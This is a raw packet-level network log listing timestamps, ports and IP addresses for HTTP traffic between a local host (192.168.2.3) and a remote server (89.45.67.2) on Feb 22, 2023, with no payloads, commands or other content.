Feb 22, 2023 09:44:17.277724981 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.279292107 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.279378891 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.279438972 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.279474020 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.279509068 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.279547930 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.279577017 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.279616117 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.279658079 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.322464943 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.322531939 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.322573900 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.322637081 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.322665930 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.322722912 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.322734118 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.322808981 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.322850943 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.322885036 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.322930098 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.322993040 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.323067904 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.323111057 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.323168993 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.323194027 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.323251009 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.323276043 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.323328972 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.323518991 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.323540926 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.323589087 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.323605061 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.323683977 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.323723078 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.323788881 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.323817968 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.323875904 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.323879957 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.323939085 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.323968887 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.324023962 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.324033976 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.324094057 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.324100018 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.324119091 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.324151039 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.324178934 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.365684986 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.365751028 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.365814924 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.365900040 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.365946054 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.366077900 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.366106987 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.366164923 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.366210938 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.366241932 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.366317987 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.366353989 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.366398096 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.366400957 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.366533041 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.366615057 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.366909027 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.366913080 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.367010117 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.367064953 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.367146015 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.367171049 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.367192030 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.367212057 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.367233038 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.367285967 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.367295027 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.367317915 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.367485046 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.367538929 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.367707968 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.367718935 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.367902040 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.367924929 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.367945910 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.367984056 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.368252993 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.368253946 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.409060001 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.409123898 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.409234047 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.409284115 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.409460068 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.409493923 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.409492970 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.409589052 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.409672022 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.409715891 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.409770012 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.409789085 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.409851074 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.410010099 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.410069942 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.410249949 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.410314083 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.410399914 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.410442114 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.410466909 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.410482883 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.410511017 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.410584927 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.410854101 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.410933971 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.410979033 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.411046028 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.411076069 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.411128998 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.411154985 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.411238909 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.411293983 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.411331892 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.411361933 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.411396027 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.411495924 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.411560059 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.411648035 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.411710024 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.411730051 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.411796093 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.411891937 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.411951065 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.411967993 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.412029028 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.452148914 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.452336073 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.452375889 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.452502966 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.452553988 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.452666044 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.452696085 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.452697992 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.452719927 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.452750921 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.452780008 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.452862024 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.452912092 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.452925920 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.452984095 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.453140974 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.453389883 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.453419924 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.453458071 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.453478098 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.453510046 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.453633070 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.454529047 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.454583883 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.454636097 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.454668999 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.454745054 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.454780102 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.454821110 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.454847097 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.454900980 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.454906940 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.454989910 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.455357075 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.455418110 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.455425024 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.455620050 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.455991030 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.457104921 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.457217932 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.495599985 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.495635986 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.495829105 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.496037960 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.496241093 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.496273994 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.496361017 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.497447014 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.497472048 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.497489929 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.497601986 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.497754097 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.497798920 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.498065948 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.498143911 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.498585939 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.498605967 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.498718977 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.498935938 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.499864101 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.499891996 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.499907017 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.500025034 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.500041962 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.500098944 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.500113964 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.500289917 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.500386000 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.500528097 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.500606060 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.500713110 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.502230883 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.502257109 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.502283096 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.502361059 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.502439022 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.502675056 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.538992882 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.539050102 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.539211988 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.539222002 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.539230108 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.539319992 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.539417028 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.540687084 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.540709972 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.540725946 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.540822029 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.540971041 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.541001081 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.541619062 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.541707993 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.541737080 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.542927027 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.543013096 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.543051958 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.543152094 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.543185949 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.543253899 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.543337107 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.543493032 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.543618917 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.543648958 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.543688059 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.543793917 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.543828964 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.545342922 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.545504093 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.545619011 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.582200050 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.582274914 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.582293987 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.582307100 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.582441092 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.582578897 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.583904982 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.583966970 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.584065914 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.584093094 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.584274054 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.584634066 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.584664106 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.584738016 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.584842920 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.586523056 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.586596012 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.586637974 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.586669922 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.586719036 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.586726904 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.586769104 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.586798906 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.586889029 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.586941004 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.586992979 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.588579893 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.588633060 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.588659048 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.588738918 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.588769913 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.625515938 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.625566959 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.625588894 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.625610113 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.625739098 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.625947952 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.625979900 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.627260923 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.627305984 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.627371073 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.627399921 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.627496004 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.627667904 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.627773046 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.627794027 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.628047943 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.628082991 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.630096912 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.630145073 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.630166054 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.630184889 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.630244970 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.630444050 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.630474091 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.630537987 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.630562067 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.630582094 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.630604982 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.630629063 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.630703926 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.631884098 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.631922960 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.632003069 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.632013083 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.632139921 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.665941000 CET	49727	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.669534922 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.669609070 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.669642925 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.669678926 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.669743061 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.669800997 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.669955015 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.670417070 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.670445919 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.670506001 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.670547009 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.670927048 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.671021938 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.671113014 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.671140909 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.671186924 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.671200991 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.671214104 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.671250105 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.671319962 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.673593044 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.673638105 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.673664093 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.673687935 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.673742056 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.673778057 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.673799038 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.673890114 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.673892021 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.673913002 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.673944950 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.673960924 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.674019098 CET	80	49726	89.45.67.2	192.168.2.3
